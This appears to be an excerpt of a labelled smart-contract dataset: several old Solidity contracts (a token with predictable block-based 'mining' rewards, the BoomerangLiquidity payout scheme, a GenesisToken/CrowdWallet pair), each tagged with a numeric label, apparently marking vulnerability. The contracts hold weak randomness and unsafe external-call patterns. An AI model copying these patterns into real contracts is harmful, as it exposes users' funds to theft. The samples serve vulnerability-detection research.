require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) external {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) internal returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function registerZone(bytes8 zone) external onlyOwner {
zones[zone] = true;
ZoneRegister(zone);
}
function registerDomain(bytes8 zone, string domain) external {
uint domainLength = bytes(domain).length;
require(domainLength >= 2 && domainLength <= 32);
bytes32 domainBytes = stringToBytes32(domain);
require(zones[zone]);
require(domains[zone][domainBytes] == 0x0);
uint amount = domainPrice;
if (domainLength <= 4) {
amount *= premiumDomainK ** (5 - domainLength);
}
burn(amount);
domains[zone][domainBytes] = msg.sender;
DomainRegister(zone, domain, msg.sender);
}
function registerPage(bytes8 zone, string domain, bytes32 path, string content) external {
uint domainLength = bytes(domain).length;
require(domainLength >= 2 && domainLength <= 32);
bytes32 domainBytes = stringToBytes32(domain);
require(zones[zone]);
require(domains[zone][domainBytes] == msg.sender);
burn(bytePrice * bytes(content).length);
pages[zone][domainBytes][path] = content;
PageRegister(zone, domain, path, content);
}
function transferDomain(bytes8 zone, string domain, address newOwner) external {
uint domainLength = bytes(domain).length;
require(domainLength >= 2 && domainLength <= 32);
bytes32 domainBytes = stringToBytes32(domain);
require(zones[zone]);
require(domains[zone][domainBytes] == msg.sender);
domains[zone][domainBytes] = newOwner;
DomainTransfer(zone, domain, newOwner);
}
function () external payable {
if (msg.value == 0) {
randomNumber += block.timestamp + uint(msg.sender);
uint minedAtBlock = uint(block.blockhash(block.number - 1));
uint minedHashRel = uint(sha256(minedAtBlock + randomNumber + uint(msg.sender))) % 100000;
uint balanceRel = balanceOf[msg.sender] * 1000 / totalSupply;
if (balanceRel >= 1) {
if (balanceRel > 29) {
balanceRel = 29;
}
balanceRel = 2 ** balanceRel;
balanceRel = 50000 / balanceRel;
balanceRel = 50000 - balanceRel;
if (minedHashRel < balanceRel) {
uint reward = miningReward + minedHashRel * 100000000000000;
balanceOf[msg.sender] += reward;
totalSupply += reward;
Transfer(0, this, reward);
Transfer(this, msg.sender, reward);
successesOf[msg.sender]++;
} else {
Transfer(this, msg.sender, 0);
failsOf[msg.sender]++;
}
} else {
revert();
}
} else {
revert();
}
}
} | 0 | 1,287 |
pragma solidity ^0.4.21;
contract ERC20Interface {
function totalSupply() public constant returns (uint256);
function balanceOf(address tokenOwner) public constant returns (uint256 balance);
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
function approve(address spender, uint256 tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract POWH {
function buy(address) public payable returns(uint256){}
function withdraw() public {}
}
contract Owned {
address public owner;
address public ownerCandidate;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) public onlyOwner {
ownerCandidate = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == ownerCandidate);
owner = ownerCandidate;
}
}
contract BoomerangLiquidity is Owned {
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
modifier notPowh(address aContract){
require(aContract != powh_address);
_;
}
uint public multiplier;
uint public payoutOrder = 0;
address powh_address;
POWH weak_hands;
function BoomerangLiquidity(uint multiplierPercent, address powh) public {
multiplier = multiplierPercent;
powh_address = powh;
weak_hands = POWH(powh_address);
}
struct Participant {
address etherAddress;
uint payout;
}
Participant[] public participants;
function() payable public {
}
function deposit() payable public {
participants.push(Participant(msg.sender, (msg.value * multiplier) / 100));
payout();
}
function payout() public {
uint balance = address(this).balance;
require(balance > 1);
uint investment = balance / 2;
balance -= investment;
weak_hands.buy.value(investment).gas(1000000)(msg.sender);
while (balance > 0) {
uint payoutToSend = balance < participants[payoutOrder].payout ? balance : participants[payoutOrder].payout;
if(payoutToSend > 0){
participants[payoutOrder].payout -= payoutToSend;
balance -= payoutToSend;
if(!participants[payoutOrder].etherAddress.send(payoutToSend)){
participants[payoutOrder].etherAddress.call.value(payoutToSend).gas(1000000)();
}
}
if(balance > 0){
payoutOrder += 1;
}
if(payoutOrder >= participants.length){
return;
}
}
}
function withdraw() public {
weak_hands.withdraw.gas(1000000)();
}
function donate() payable public {
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner notPowh(tokenAddress) returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,870 |
pragma solidity ^0.4.13;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract GenesisToken is StandardToken, Ownable {
using SafeMath for uint256;
string public constant name = 'Genesis';
string public constant symbol = 'GNS';
uint256 public constant decimals = 18;
string public version = '0.0.1';
event EarnedGNS(address indexed contributor, uint256 amount);
event TransferredGNS(address indexed from, address indexed to, uint256 value);
function GenesisToken(
address _owner,
uint256 initialBalance)
{
owner = _owner;
totalSupply = initialBalance;
balances[_owner] = initialBalance;
EarnedGNS(_owner, initialBalance);
}
function giveTokens(address _to, uint256 _amount) onlyOwner returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
EarnedGNS(_to, _amount);
return true;
}
}
contract CrowdWallet is Ownable {
using SafeMath for uint;
struct Deposit {
uint amount;
uint block;
}
struct Payout {
uint amount;
uint block;
}
GenesisToken public token;
mapping (address => Deposit[]) public deposits;
mapping (address => Payout[]) public payouts;
uint public lifetimeDeposits;
uint public lifetimePayouts;
uint public blocksPerPayPeriod = 172800;
uint public previousPayoutBlock;
uint public nextPayoutBlock;
uint public payoutPool;
uint multiplier = 10**18;
uint public minWithdrawalThreshold = 100000000000000000;
event onDeposit(address indexed _from, uint _amount);
event onPayout(address indexed _to, uint _amount);
event onPayoutFailure(address indexed _to, uint amount);
function CrowdWallet(address _gns, address _owner, uint _blocksPerPayPeriod) {
token = GenesisToken(_gns);
owner = _owner;
blocksPerPayPeriod = _blocksPerPayPeriod;
nextPayoutBlock = now.add(blocksPerPayPeriod);
}
function setMinimumWithdrawal(uint _weiAmount) onlyOwner {
minWithdrawalThreshold = _weiAmount;
}
function setBlocksPerPayPeriod(uint _blocksPerPayPeriod) onlyOwner {
blocksPerPayPeriod = _blocksPerPayPeriod;
}
function withdraw() {
require(previousPayoutBlock > 0);
require(!isAddressLocked(msg.sender));
uint payoutAmount = calculatePayoutForAddress(msg.sender);
require(payoutAmount > minWithdrawalThreshold);
payouts[msg.sender].push(Payout({ amount: payoutAmount, block: now }));
require(this.balance >= payoutAmount);
onPayout(msg.sender, payoutAmount);
lifetimePayouts += payoutAmount;
msg.sender.transfer(payoutAmount);
}
function isAddressLocked(address contributor) constant returns(bool) {
var paymentHistory = payouts[contributor];
if (paymentHistory.length == 0) {
return false;
}
var lastPayment = paymentHistory[paymentHistory.length - 1];
return (lastPayment.block >= previousPayoutBlock) && (lastPayment.block < nextPayoutBlock);
}
function isNewPayoutPeriod() constant returns(bool) {
return now >= nextPayoutBlock;
}
function startNewPayoutPeriod() {
require(isNewPayoutPeriod());
previousPayoutBlock = nextPayoutBlock;
nextPayoutBlock = nextPayoutBlock.add(blocksPerPayPeriod);
payoutPool = this.balance;
}
function calculatePayoutForAddress(address payee) constant returns(uint) {
uint ownedAmount = token.balanceOf(payee);
uint totalSupply = token.totalSupply();
uint percentage = (ownedAmount * multiplier) / totalSupply;
uint payout = (payoutPool * percentage) / multiplier;
return payout;
}
function ethBalance() constant returns(uint) {
return this.balance;
}
function deposit() payable {
onDeposit(msg.sender, msg.value);
lifetimeDeposits += msg.value;
deposits[msg.sender].push(Deposit({ amount: msg.value, block: now }));
}
function () payable {
deposit();
}
} | 1 | 3,285 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.